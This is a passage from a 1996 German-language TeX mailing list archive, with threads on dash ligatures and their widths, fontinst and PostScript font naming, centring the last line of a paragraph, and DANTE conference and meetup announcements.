krieg ich etwas dickere -- und --- Striche hin, und wie krieg ich einen etwas duenneren Trennstrich hin? Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann EMail-Adress: abroska@mathi.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Fri Jan 12 14:11:51 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Fri, 12 Jan 1996 14:10:24 +0100 Subject: Re: Aussehen von -,-- und --- Leo Arnt Broska schreibt: > Da mir aber heute der ----Strich zu lang erscheint waehle ich nun -- f"ur > Gedankenstriche, -- f"ur von-bis-Striche und - f"ur Wortverbindungsstriche > und f"ur die Trennung. "Uber die Verwendung der verschiedenen Sorten von Strichen hat der Duden das eine oder andere zu sagen. Leos heutige Version ist richtig; man trifft ab und zu noch Kopka-gesch"adigte LaTeX-Anwender, die -- als Binde--Strich verwenden (was scheusslich ausschaut und g"angiger Praxis zuwiderl"auft). > Wie krieg ich etwas dickere -- und --- Striche hin, und > wie krieg ich einen etwas duenneren Trennstrich hin? Mehrere M"oglichkeiten: 1. Striche aller Art produzieren die TeX-Primitive \hrule und \vrule und der LaTeX-Befehl \rule. Aus der Sicht der Innereien von TeX betrachtet ist das die am wenigsten problemlose Methode, aber f"ur den Anwender wird es schwierig, da die bequeme Ligatur `--' nicht ohne weiteres zur Verf"ugung steht. Man k"onnte im Prinzip `-' analog zu `"' in german.sty aktiv machen und sich so um die Sache herumprogrammieren, aber wer weiss, was dann alles kaputtgeht... (vom Mathemodus mal angefangen -- jede nicht v"ollig naive Implementierung von `-' muss wohl mit sowas wie `\relax\ifmmode' beginnen :^)) 2. "Andern der entsprechenden METAFONT-Quelltexte. Dies bedingt ein "Andern von Zeichensatz- und Dateinamen im grossen Stil (da das Resultat nicht mehr cm* heissen darf) und Aufwand an Plattenplatz plus Inkompatibilit"at zum Rest der Welt und kann darum wahrscheinlich gleich abgehakt werden. 3. Geeignete `virtuelle Zeichens"atze', die alles bis auf die Striche aus den urspr"unglichen Zeichens"atzen "ubernehmen und jene durch passenden DVI-Code ausdr"ucken (den man sich aus einem L"osungsansatz der 1. Art verschaffen kann, METAFONT ist nicht n"otig). Vielleicht als Zeitvertreib f"ur lange Winterabende brauchbar. Ob man sich aber so einen Aufwand machen will, ist eine ganz andere Frage. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de Who'd have thought a nuclear reactor could be so complicated? --- Homer Simpson From owner-tex-d-l@VM.GMD.DE Fri Jan 12 14:24:32 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Fri, 12 Jan 1996 14:23:32 +0100 Subject: Re: Aussehen von -,-- und --- Anselm Lingnau schreibt: Leo Arnt Broska schreibt: > Da mir aber heute der ----Strich zu lang erscheint waehle ich nun -- f"ur > Gedankenstriche, -- f"ur von-bis-Striche und - f"ur Wortverbindungsstriche > und f"ur die Trennung. "Uber die Verwendung der verschiedenen Sorten von Strichen hat der Duden das eine oder andere zu sagen. Leos heutige Version ist richtig; man trifft ab und zu noch Kopka-gesch"adigte LaTeX-Anwender, die -- als Binde--Strich verwenden (was scheusslich ausschaut und g"angiger Praxis zuwiderl"auft). :-) ...aber dennoch noch von sehr vielen praktiziert wird. > Wie krieg ich etwas dickere -- und --- Striche hin, und > wie krieg ich einen etwas duenneren Trennstrich hin? Mehrere M"oglichkeiten: 1. Striche aller Art produzieren die TeX-Primitive \hrule und \vrule und der LaTeX-Befehl \rule. Aus der Sicht der Innereien von TeX betrachtet ist das die am wenigsten problemlose Methode, aber f"ur den Anwender wird es schwierig, da die bequeme Ligatur `--' nicht ohne weiteres zur Verf"ugung steht. Man k"onnte im Prinzip `-' analog zu `"' in german.sty aktiv machen und sich so um die Sache herumprogrammieren, aber wer weiss, was dann alles kaputtgeht... (vom Mathemodus mal angefangen -- jede nicht v"ollig naive Implementierung von `-' muss wohl mit sowas wie `\relax\ifmmode' beginnen :^)) Nur gibt's dann noch die Schwierigkeiten, dass man nach der Umdefinition des `-' keine weiteren Makrodateien laden kann, da das Zeichen `-' Bestandteil einer Zahl sein kann... und genau da wuerde der \relax stoeren. (Vergleiche mit der Definition des " in german.sty, der auch Bestandteil einer (Hex-)Zahl sein kann.) 2. "Andern der entsprechenden METAFONT-Quelltexte. Dies bedingt ein "Andern von Zeichensatz- und Dateinamen im grossen Stil (da das Resultat nicht mehr cm* heissen darf) und Aufwand an Plattenplatz plus Inkompatibilit"at zum Rest der Welt und kann darum wahrscheinlich gleich abgehakt werden. 3. Geeignete `virtuelle Zeichens"atze', die alles bis auf die Striche aus den urspr"unglichen Zeichens"atzen "ubernehmen und jene durch passenden DVI-Code ausdr"ucken (den man sich aus einem L"osungsansatz der 1. Art verschaffen kann, METAFONT ist nicht n"otig). Vielleicht als Zeitvertreib f"ur lange Winterabende brauchbar. Man kann zum Erstellen der vf-Files z.B. `fontinst' verwenden, mit dem man so etwas schon etwas einfacher machen kann. Trotzdem bleiben noch einige Anpassungen zu tun, da die neuen Fonts ja nicht mehr cm* (oder dc*) heissen duerfen. Ich habe noch weitere Moeglichkeiten: 4. Andere Fonts verwenden, z.B. PostScript-Schriften. 5. Sich mit den Designentscheidungen von Knuth bzw. dessen Vorbild zufriedengeben ...und man sollte nicht vergessen, dass es nicht "schoen" aussehen, sondern dass es leicht zu lesen sein muss! -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Fri Jan 12 15:23:32 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Fri, 12 Jan 1996 15:24:04 +0100 Subject: Re: Aussehen von -,-- und --- In den tc fonts (TS1 encoding) sind zwei zus"atzliche Striche mit L"angen zwischen `--' und `---'. Es gelten folgende Verh"altnisse der L"angen (cm oder dc fonts, tc fonts): - : 6 -- : 9 ---: 18 \texttwelveudash : 12 \textthreequartersemdash: 13.5 --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Fri Jan 12 15:51:21 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Arnt Broska Date: Fri, 12 Jan 1996 15:50:03 +0100 Subject: Re: Aussehen von -,-- und ---; II > Anselm Lingnau schreibt: > > Leo Arnt Broska schreibt: > > > Da mir heute der --- Strich zu lang erscheint waehle ich nun: -- f"ur > > Gedankenstriche, -- f"ur von-bis-Striche und - f"ur Wortverbindungs- > > striche und f"ur die Trennung. > > "Uber die Verwendung der verschiedenen Sorten von Strichen hat der Duden > das eine oder andere zu sagen. Leos heutige Version ist richtig; man > trifft ab und zu noch Kopka-gesch"adigte LaTeX-Anwender, die -- als > Binde--Strich verwenden (was scheusslich ausschaut und g"angiger Praxis > zuwiderl"auft). > > :-) ...aber dennoch noch von sehr vielen praktiziert wird. Ich WAR auch ein Kopka-Gesch"adigter... > > Wie krieg ich etwas dickere -- und --- Striche hin, und > > wie krieg ich einen etwas duenneren Trennstrich hin? > > Mehrere M"oglichkeiten: > > 1. Striche aller Art produzieren die TeX-Primitive \hrule und \vrule und > der LaTeX-Befehl \rule. Aus der Sicht der Innereien von TeX betrachtet > ist das die am wenigsten problemlose Methode, aber f"ur den Anwender > wird es schwierig, da die bequeme Ligatur `--' nicht ohne weiteres > zur Verf"ugung steht. Man k"onnte im Prinzip `-' analog zu `"' in > german.sty aktiv machen und sich so um die Sache herumprogrammieren, > aber wer weiss, was dann alles kaputtgeht... (vom Mathemodus mal > angefangen -- jede nicht v"ollig naive Implementierung von `-' muss > wohl mit sowas wie `\relax\ifmmode' beginnen :^)) > > Nur gibt's dann noch die Schwierigkeiten, dass man nach der > Umdefinition des `-' keine weiteren Makrodateien laden kann, da das > Zeichen `-' Bestandteil einer Zahl sein kann... und genau da wuerde > der \relax stoeren. (Vergleiche mit der Definition des " in > german.sty, der auch Bestandteil einer (Hex-)Zahl sein kann.) Das versteh' ich nicht. Zwar habe ich mich mit der Definitionen von --, etc (noch) nicht besch"aftigt, aber das Aendern von Umlaut-Definitionen (z.b. "O) f"ur den Schweizerischen Schreibgebrauch war auch kein Problem (irgendwie mit \def@dqmacro{O}{...}). Gibt es sowas nicht auch f"ur Macros wie --? > 3. Geeignete `virtuelle Zeichens"atze', die alles bis auf die Striche > aus den urspr"unglichen Zeichens"atzen "ubernehmen [...] Sind die Striche nun Makros (vorallem die beiden langen) oder sind das Zeichen eines Zeichensatzes? > 5. Sich mit den Designentscheidungen von Knuth bzw. dessen Vorbild > zufriedengeben > ...und man sollte nicht vergessen, dass es nicht "schoen" aussehen, > sondern dass es leicht zu lesen sein muss! N"o"o! -- Lesen soll nicht nur leicht sein, sondern auch Spass machen! (Und zum Spass geh"oren "Asthetik und Abwechslung ! -- Aber solche Diskussionen gab es ja schon "ofters...) Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann EMail-Adress: abroska@mathi.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Fri Jan 12 16:02:22 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Fri, 12 Jan 1996 16:00:15 +0100 Subject: Re: Aussehen von -,-- und ---; II Arnt Broska schreibt: > Zwar habe ich mich mit der Definitionen von --, etc > (noch) nicht besch"aftigt, aber das Aendern von Umlaut-Definitionen > (z.b. "O) f"ur den Schweizerischen Schreibgebrauch war auch kein Problem > (irgendwie mit \def@dqmacro{O}{...}). Gibt es sowas nicht auch f"ur Macros > wie --? `--' ist kein Makro, sondern (in den g"angigen Zeichens"atzen) eine Ligatur. Das heisst, dass TeX die aufeinanderfolgenden Zeichen `--' anhand einer Beschreibung (eines `Programms') aus der TFM-Datei des aktuellen Zeichensatzes durch ein ganz anderes Zeichen ersetzt, namentlich den `Bereichsstrich', analog f"ur `---'. Die langen Striche sind vergleichbar mit Sachen wie `fi', wo TeX auch das ganz andere Zeichen `fi-Ligatur' einsetzt. Die Striche selbst, die dann sp"ater im Dokument erscheinen, sind in der Tat ("ublicherweise) einzelne Zeichen aus einem Zeichensatz. (Die DC-Zeichens"atze gehen sogar so weit, ein eigenes weiteres Zeichen als Trennstrich einzuf"uhren, das aussieht wie ein Bindestrich, aber von TeX intern anders behandelt wird.) Der Haken an der Geschichte ist, dass das ASCII-Zeichen `-' unabh"angig von seiner Bedeutung f"ur lange Striche von TeX anderweitig verwendet wird, eben als Minuszeichen f"ur negative Zahlen oder `Strecken'. Beim Definieren von `-' als aktives Zeichen muss man also sehr geschickt und vorsichtig vorgehen. Ich kenne die Innereien von german.sty nicht genau, aber es kann schon sein, dass sich aus \def@dqmacro da interessante Tips ableiten lassen. Bernd hat dazu sicher mehr zu sagen als ich. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de If you really want to make a lot of money, start your own religion. --- L. Ron Hubbard From owner-tex-d-l@VM.GMD.DE Fri Jan 12 16:09:27 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Fri, 12 Jan 1996 16:08:04 +0100 Subject: Re: Aussehen von -,-- und ---; II Arnt Broska schrieb auf meine Antwort: > Anselm Lingnau schreibt: > > Leo Arnt Broska schreibt: [...] > 1. Striche aller Art produzieren die TeX-Primitive \hrule und \vrule und > der LaTeX-Befehl \rule. Aus der Sicht der Innereien von TeX betrachtet > ist das die am wenigsten problemlose Methode, aber f"ur den Anwender > wird es schwierig, da die bequeme Ligatur `--' nicht ohne weiteres > zur Verf"ugung steht. Man k"onnte im Prinzip `-' analog zu `"' in > german.sty aktiv machen und sich so um die Sache herumprogrammieren, > aber wer weiss, was dann alles kaputtgeht... (vom Mathemodus mal > angefangen -- jede nicht v"ollig naive Implementierung von `-' muss > wohl mit sowas wie `\relax\ifmmode' beginnen :^)) > > Nur gibt's dann noch die Schwierigkeiten, dass man nach der > Umdefinition des `-' keine weiteren Makrodateien laden kann, da das > Zeichen `-' Bestandteil einer Zahl sein kann... und genau da wuerde > der \relax stoeren. (Vergleiche mit der Definition des " in > german.sty, der auch Bestandteil einer (Hex-)Zahl sein kann.) Das versteh' ich nicht. Zwar habe ich mich mit der Definitionen von --, etc (noch) nicht besch"aftigt, aber das Aendern von Umlaut-Definitionen (z.b. "O) f"ur den Schweizerischen Schreibgebrauch war auch kein Problem (irgendwie mit \def@dqmacro{O}{...}). Gibt es sowas nicht auch f"ur Macros wie --? Tja. Probier' mal mit einem entsprechenden Font \char"FF (also das Zeichen 255 aus dem aktuellen Font setzen), mal ohne, mal mit german.sty, dann siehst du, dass das auch nicht so vollkommen funktioniert, wie man es sich wuenscht. Und damals bevor ich den german.sty von Hubert Partl uebernahm, gab es genau das Problem, dass das " ein \relax bzw. ein nicht expandierbares Primitiv eingefuegt hatte. Damals hatten sich die Leute beschwert, dass z.B. keine Hexzahlen danach mehr eingelesen werden koennen. Die jetzige Loesung funktioniert zwar in den meisten Faellen, hat aber einige kleine Besonderheiten: Was erzeugt wohl " a? > 3. Geeignete `virtuelle Zeichens"atze', die alles bis auf die Striche > aus den urspr"unglichen Zeichens"atzen "ubernehmen [...] Sind die Striche nun Makros (vorallem die beiden langen) oder sind das Zeichen eines Zeichensatzes? Die Striche sind keine Makros, sondern im Font definierte Ligaturen. Diese werden im "Magen" bzw. im danach kommenden Verdauungstrakt von TeX gebildet, waehrend Makros im Mund bzw. der Gurgel abgearbeitet werden. D.h. die Bildung von einem en-dash aus den beiden Eingabezeichen `-' und `-' findet lange nach der Makroexpansion statt. Zu dem Zeitpunkt ist sicher, dass ein `-' sicher nicht mehr Bestandteil einer zu scannenden Zahl sein wird, sondern ein Schriftzeichen im dvi-File erzeugen wird. > 5. Sich mit den Designentscheidungen von Knuth bzw. dessen Vorbild > zufriedengeben > ...und man sollte nicht vergessen, dass es nicht "schoen" aussehen, > sondern dass es leicht zu lesen sein muss! N"o"o! -- Lesen soll nicht nur leicht sein, sondern auch Spass machen! (Und zum Spass geh"oren "Asthetik und Abwechslung ! -- Aber solche Diskussionen ^^^^^^^^^^^ Ich dachte, du wolltest _einheitlichere_ Striche?? gab es ja schon "ofters...) Was bringt es mir, wenn das auessere ganz "spassig" ist, aber ich vor lauter Abwechslung vom Inhalt abgelenkt werde? Wenn der Inhalt locker und einfach verstaendlich geschrieben ist, leicht lesbar (und dazu muss er einigermassen einheitlich gesetzt sein), bringt mir das mehr Spass als ein aesthetisch brilliant gesetztes Buch... -bernd From owner-tex-d-l@VM.GMD.DE Sun Jan 14 04:36:47 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Schrell Date: Sat, 13 Jan 1996 16:20:00 +0200 Subject: Einbinden von PS-Fonts Hallo, HMH>ich habe ca 1200 PS-Fonts, die ich auch unter TeX verf"ugbar haben HMH>m"ochte. Gibt es eine M"glichkeit die Umsetzung automatisch HMH>durchzuf"hren? Die Fonts sollten nachher in der DC-Codierung HMH>vorhanden sein. hier bietet sich das Paket fontinst (zu finden auf ctan) an. Das l"auft recht gut. Man mu"s nur die Schrift-Dateinamen anpassen und AFM-Dateien besitzen. Viele Gr"u"se /\ /__\ndreas / Schrell From owner-tex-d-l@VM.GMD.DE Mon Jan 15 21:01:00 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Henning Matthes Date: Mon, 15 Jan 1996 18:12:18 +0100 Subject: Nochmal PS-Fonts hi, der Tip mit dem fontinst-Programm ist gut (sch"onen Dank). Aber in der Beschreibung wird eine mir neue Nomenklatur f"ur die Fonts angegeben: ptmrq, ptmr0 laut dvips war das doch ptmr und rptmr, was ist f"ur die Zukunft nun richtig? Gru"s Henning ================================================= Henning Matthes FON 04383/9898 ISDN M"uhlenbergring 20 FAX 04383/9897 24329 Grebin eMail:matthes@toppoint.de From owner-tex-d-l@VM.GMD.DE Tue Jan 16 09:21:10 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Tue, 16 Jan 1996 09:16:38 +0100 Subject: Re: Nochmal PS-Fonts Henning Matthes schreibt: > der Tip mit dem fontinst-Programm ist gut (sch"onen Dank). Als Idee: Wie waer's, wenn jemand auf der DANTE'96 oder der Mitglieder- versammlung von DANTE e.V. im Herbst einen kleinen `fontinst'-Kurs haelt? Ich hatte mir das schon mal ueberlegt, hatte aber zu wenig Zeit (und werde zu wenig Zeit haben), um mich ein bisschen tiefer in `fontinst' einzuarbeiten. Waere aber gerne bereit, demjenigen bei Fragen zu fontinst, vf, etc. zur Verfuegung zu stehen. > Aber in der Beschreibung wird eine mir neue Nomenklatur f"ur die > Fonts angegeben: > ptmrq, ptmr0 > laut dvips war das doch ptmr und rptmr, was ist f"ur die > Zukunft nun richtig? dvips verwendet noch alte Fontnamen fuer die raw-, also die nicht umkodierten, und die nach OT1 kodierten virtuellen PostScript-Fonts. Beispielsweise fehlen auch die nach T1 kodierten virtuellen PS-Fonts. Die neuen Fontnamen sind in Karl Berrys "A naming scheme for font files intended to be usable with all systems on which TeX runs" beschrieben. Momentan aktuelle ist Version 2.0, falls man nur eine aeltere Version besitzt, sollte man sich die neue besorgen. Das Texinfo-Dokument ist in CTAN: info/fontname/ zu finden, dort liegt auch "texinfo.tex", fertige Encoding-(.enc)- Dateien und Abbildungs-(.map)-Dateien fuer das beschriebene Namensschema. -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Tue Jan 16 12:00:42 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jobst-Hartmut Lueddecke Date: Tue, 16 Jan 1996 12:01:11 +0100 Subject: bibtex-styles / din Ein Update der BibTeX-Styles zur Erstellung von Literaturverzeichnissen nach dem deutschen Zitierstandard DIN 1505, Teil 2 liegen auf der www-Seite http://www.fh-hamburg.de/misc/prog/bibtex/bibtex.html zur Abholung bereit. Je nach verwendetem Brouser braucht man die betreffenden Eintraege nur anzu- klicken (Netscape nur anklicken, Mosaic vorher die Option Load to local Disk einstellen). Hat man das File auf seiner Platte dann packt man es in seinem Bibtex-Style Verzeichnis mit zip oder pkzip aus. viel Spass Jobst-Hartmut Lueddecke lueddeck@rzbt.fh-hamburg.de From owner-tex-d-l@VM.GMD.DE Tue Jan 16 15:30:39 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Tue, 16 Jan 1996 14:36:45 +0100 Subject: Re: Nochmal PS-Fonts Bernd Raichle (Raichle@informatik.uni-stuttgart.de) schrieb am 16.1.1996, 09:16:38 > Als Idee: > > Wie waer's, wenn jemand auf der DANTE'96 oder der Mitglieder- > versammlung von DANTE e.V. im Herbst einen kleinen `fontinst'-Kurs > haelt? ich kann diese idee nur begruessen! und faende es auch toll, wenn zu anderen themen vortraege bzw. tutorien angeboten wuerden!! ich stelle mir vor, dass etliche an themen wie HTML (herr partl, wie waere es?), BibTeX, einbinden von schriften allgemein, ... inter- esse haetten. zur erinnerung: die tagung dante'96 findet vom 27.--29.3.96 an der univeristaet augsburg statt. fuer die organisatoren der tagung mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Tue Jan 16 16:12:52 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hubert Partl Date: Tue, 16 Jan 1996 16:08:40 MET Subject: DANTE-Tagung und HTML > ................................... und faende es auch toll, wenn > zu anderen themen vortraege bzw. tutorien angeboten wuerden!! ich > stelle mir vor, dass etliche an themen wie HTML (herr partl, wie > waere es?), BibTeX, einbinden von schriften allgemein, ... inter- > esse haetten. > zur erinnerung: die tagung dante'96 findet vom 27.--29.3.96 an der > univeristaet augsburg statt. > luzia dietsche In dieser Woche habe ich leider keine Zeit, obwohl Augsburg ein schoenes Reiseziel waere, leider. Aber wie waere es von 20. bis 21. Mai in Wien? Da werde ich tatsaechlich einen HTML-Kurs hier auf der BOKU halten, ich wuerde dazu gerne ein paar von meinen lieben alten TeX-Kollegen begruessen. -- Hubert Partl partl@mail.boku.ac.at ZID BOKU Wien http://www.boku.ac.at/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ if ( music == food(love) ) then; play on; endif; /* night[12] */ From owner-tex-d-l@VM.GMD.DE Thu Jan 18 12:05:58 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Schrell Date: Wed, 17 Jan 1996 07:43:00 +0200 Subject: Nochmal PS-Fonts Hallo, bei mir hei"sen die PFB/AFM-Dateien z.B. f"ur die Gill-Sans so: -w--- d:\texmf\fonts\type1\bitstrea\bgsb8a.pfb -w--- d:\texmf\fonts\type1\bitstrea\bgsb8ac.pfb -w--- d:\texmf\fonts\type1\bitstrea\bgsbo8a.pfb -w--- d:\texmf\fonts\type1\bitstrea\bgsl8a.pfb -w--- d:\texmf\fonts\type1\bitstrea\bgslo8a.pfb -w--- d:\texmf\fonts\type1\bitstrea\bgsm8a.pfb -w--- d:\texmf\fonts\type1\bitstrea\bgsm8ac.pfb -w--- d:\texmf\fonts\type1\bitstrea\bgsmo8a.pfb -w--- d:\texmf\fonts\type1\bitstrea\bgsu8a.pfb -w--- d:\texmf\fonts\type1\bitstrea\bgsx8a.pfb -w--- d:\texmf\fonts\type1\bitstrea\bgsx8ac.pfb Fontinst bastelt dann die "ubrigen Dateien daraus. dvips bekommt dann eine Datei bgs.config oder so geliefert, die mit -P bgs eingebunden wird: bgs.cfg: ======== % use dvips -Pbgs p +bgs.map bgs.map: ======== % map for fonts in family bgs -as- bgsb8r Humanist521BT-Bold " TeXBase1Encoding ReEncodeFont " <8r.enc Sender: German TeX Users Communication List From: Henning Matthes Date: Wed, 17 Jan 1996 17:49:15 +0100 Subject: letzte Zeile zentrieren moin, moin, ich m"ochte die letzte Zeile eines Absatzes, so eine angebrochene Zeile vorhanden ist, zentriert haben. any idea? Gru"s Henning ================================================= Henning Matthes FON 04383/9898 ISDN M"uhlenbergring 20 FAX 04383/9897 24329 Grebin eMail:matthes@toppoint.de From owner-tex-d-l@VM.GMD.DE Thu Jan 18 08:36:53 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hubert Partl Date: Thu, 18 Jan 1996 08:36:37 MET Subject: Re: letzte Zeile zentrieren > ich m"ochte die letzte Zeile eines Absatzes, so eine angebrochene > Zeile vorhanden ist, zentriert haben. Dieser Trick war vor vielen Jahren im TUGboat, ich glaube, er stammte von jemand aus Karlsruhe. Der Trick war, leftmargin und rightmargin und parfill mit einer Kombination von positiven und negativem hfil zu definieren, ich glaube es war leftskip = 0pt plus hfil rightskip = 0pt plus -hfil parfill = 0pt plus 2 hfil -- Hubert Partl partl@mail.boku.ac.at ZID BOKU Wien http://www.boku.ac.at/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ if ( music == food(love) ) then; play on; endif; /* night[12] */ From owner-tex-d-l@VM.GMD.DE Thu Jan 18 11:14:29 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Thu, 18 Jan 1996 11:06:44 +0100 Subject: Re: letzte Zeile zentrieren Hubert Partl (partl@hp01.boku.ac.at) schrieb am 18.1.1996, 08:36:37 > > ich m"ochte die letzte Zeile eines Absatzes, so eine angebrochene > > Zeile vorhanden ist, zentriert haben. > > Dieser Trick war vor vielen Jahren im TUGboat, ich glaube, er > stammte von jemand aus Karlsruhe... ... und ist ausserdem in einer ausgabe der mitgliederzeitung von dante e.v. etwas ausfuehrlicher beschrieben mit anwendungsmoeglich- keiten in LaTeX 2.09 und LaTeX2e: Die TeXnische Komoedie Heft 4/94, S. 28ff mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Thu Jan 18 11:43:28 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Thu, 18 Jan 1996 11:32:48 +0100 Subject: Re: letzte Zeile zentrieren Die nette Schriftfuehrerin und Redakteurin und ... schrieb: > Hubert Partl (partl@hp01.boku.ac.at) schrieb am 18.1.1996, 08:36:37 > > > > ich m"ochte die letzte Zeile eines Absatzes, so eine angebrochene > > > Zeile vorhanden ist, zentriert haben. > > > > Dieser Trick war vor vielen Jahren im TUGboat, ich glaube, er > > stammte von jemand aus Karlsruhe... > > ... und ist ausserdem in einer ausgabe der mitgliederzeitung von > dante e.v. etwas ausfuehrlicher beschrieben mit anwendungsmoeglich- > keiten in LaTeX 2.09 und LaTeX2e: > > Die TeXnische Komoedie > Heft 4/94, S. 28ff Darauf wollte ich gerade in diesem Moment auch hinweisen, in dem email eintraf :-) In dem Artikel findet man auch den Hinweis auf die aelteste Belegung fuer die Urheberschaft dieses Kniffs mit negativem `fil'. Er stammt von Anne Brueggemann-Klein und wurde in einer alten TeXhax (welche genau, siehe obigen Artikel) veroeffentlicht und lautet korrekt: \leftskip = 0pt plus 1fil \rightskip = 0pt plus -1fil \parfillskip = 0pt plus 2fil \relax % vorsichtshalber Die komischen +1, -1 und +2 fil-Angaben heben sich dabei fuer jede Zeile so geschickt auf bzw. werden kombiniert, dass man den erwuenschten Effekt erhaelt. Wichtig ist dann nur, dass die Parameterwerte genau in dem Moment so gesetzt sein muessen, indem der Absatz umgebrochen wird, d.h. { ...obige Zuweisungen... ...Absatztext... } \par % oder Leerzeile funktioniert nicht, zumindest fuer den letzten Absatz nicht, da das \par oder eine Leerzeile den Absatzumbruch anstoesst, aber die Gruppe vorher geschlossen wurde und damit die vorherigen Parameterwerte gelten. Wenn man dagegen { ...obige Zuweisungen... ...Absatztext... \par % oder Leerzeile } verwendet, funktioniert's. Gruesse, -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Thu Jan 18 12:56:08 1996 Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke Date: Thu, 18 Jan 1996 12:32:38 0100 Subject: (no subject) Hallo, gibt es einen Font (.mf oder PostScript) f"ur die japanische Katagana? Vielen Dank -- Johannes Heinecke Computerlinguistik Humboldt Universit"at zu Berlin http://www.compling.hu-berlin.de/~johannes From owner-tex-d-l@VM.GMD.DE Mon Jan 22 10:27:55 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Klaus Braune Date: Mon, 22 Jan 1996 10:27:54 +0100 Subject: TeX-Stammtisch in Karlsruhe am 1. Februar 1996 Liebe TeXnikerInnen, der TeX-Stammtisch in Karlsruhe trifft sich wieder am 1.2.96: TeX-Stammtisch am 1. Februar 1996 um 19:30 im Rechenzentrum der Universitaet Karlsruhe, Zirkel 2, 3.OG Raum 316 Kontakt: Klaus Braune Email: braune@rz.uni-karlsruhe.de Tel: 0721/608-4031 Zum TeX-Stammtisch sind alle, die interessiert, herzlich eingeladen. Die Treffen finden bis auf weiteres jeweils am ersten Donnerstag jeden Monats im Rechenzentrum statt. ******************************************************************************** Klaus Braune Zirkel 2 * D-76128 Karlsruhe Universitaet Karlsruhe Phone: +49 721 608-4031 Rechenzentrum EMAIL: Braune@rz.uni-karlsruhe.de From 